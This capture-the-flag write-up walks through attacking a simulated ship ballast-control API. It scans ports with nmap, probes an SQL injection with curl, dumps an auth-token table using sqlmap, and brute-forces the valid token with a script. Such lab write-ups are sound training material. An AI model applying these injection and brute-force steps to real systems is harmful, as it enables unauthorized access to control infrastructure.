Challenge

We need as many options to stop this boat as we can find! If you can figure out a way to sabotage it instead of just taking control of the navigation, that'll work too!

Target: Your target is the authorization code to control the ballast system.

10.0.1.11

Walkthrough

$ sudo nmap 10.0.1.11 -sS -v -A -p 0-65535
...
Discovered open port 22/tcp on 10.0.1.11
Discovered open port 31968/tcp on 10.0.1.11
Discovered open port 3002/tcp on 10.0.1.11
...
3002/tcp  open  http        nginx
|_http-title: OpenBridge :: Index
...
31968/tcp open  ssl/unknown
| fingerprint-strings: 
|   FourOhFourRequest: 
|     HTTP/1.1 404 Not Found
...

There were 2 HTTP servers running on the machine. Visiting each server showed that :3002 was running a different challenge. :31968 was what I needed to exploit.

Navigating to :31968 provided a convenient swagger definitions page behind a warning page due to the self signed certificate.

get post

Clearly I needed to exploit the GET /ballast in order to find the auth token.

I played around with some different invalid inputs to get a feel for what I thought that exploit might be.

$ curl -k 'https://10.0.1.11:31968/ballast?rt=123' 
[{"readTime":"2022-01-16T00:56:14Z","statusRaw":972035,"port":97,"stbd":97}]
 
$ curl -k 'https://10.0.1.11:31968/ballast?rt=abcd'
[]
 
$ curl -k 'https://10.0.1.11:31968/ballast?rt=--abcd'
[{"readTime":"2022-01-16T00:56:14Z","statusRaw":972035,"port":97,"stbd":97}]   

After noticing that an invalid input lead to an empty json array I tried placing the string after an SQL comment --. This worked, giving away that the issue was likely SQLI.

To exploit the SQLI I brought out sqlmap, an automatic SQLI exploiting tool. I had to run it through an HTTP proxy since sqlmap doesn’t support an insecure mode where certificates aren’t checked.

$ sqlmap -u 'https://10.0.1.11:31968/ballast?rt=1' --proxy="http://localhost:8080" --level 5 --risk 3 --threads 10 --tables
...
[2 tables]
+--------+
| auth   |
| sensor |
+--------+
...
 
$ sqlmap -u 'https://10.0.1.11:31968/ballast?rt=1' --proxy="http://localhost:8080" --level 5 --risk 3 --threads 10 -T auth
...
Table: auth
[31 entries]
+------------------+------+
| auth             | code |
+------------------+------+
| 7c891300d29ee171 | 1    |
| d4e26453da9da0da | 2    |
| c4bb7fbedcd289f9 | 3    |
| f2fa13a69c41edd3 | 4    |
| 5a834caf9aa572f2 | 5    |
| 265f6855da808fee | 6    |
| af0a0ebbd8d06805 | 7    |
| 1a3bdc9e354595b3 | 8    |
| 0dcded01a3ef45b3 | 9    |
| 396324979803a664 | 10   |
| 87fd4e2c33578122 | 11   |
| ba418662d921ca86 | 12   |
| 274d080f89b03da1 | 13   |
| 6433c4059f5ac1d5 | 14   |
| 4110cf37d60ac7a5 | 15   |
| b6af0a74f1787e3a | 16   |
| 162aebf2755e2f42 | 17   |
| 6d2af8874200f1f7 | 18   |
| fe142ee05fbdf046 | 19   |
| c17a5d2a0857c687 | 20   |
| 7b3ced5924e1beed | 21   |
| 7245a54b379f996a | 22   |
| 5180e6aaa397fb6a | 23   |
| 17d3cf64165ac676 | 24   |
| 60d9051cbc7df99e | 25   |
| c661182f67edb4a8 | 26   |
| 4af257c2e1529722 | 27   |
| b5ea4144e885b1db | 28   |
| 7a92ebfcd8e93047 | 29   |
| a4f494fa78df7a39 | 30   |
| 61e521c49e0d13a5 | 31   |
+------------------+------+
...

And this is where I ran out of time :( However I continued to solve the challenge after the timer was up.

I created a python script to try every auth token and find which was correct. authcheck.py

$ python3 authcheck.py
...
b6af0a74f1787e3a 202

So close!

Solve

token: b6af0a74f1787e3a

0 items under this folder.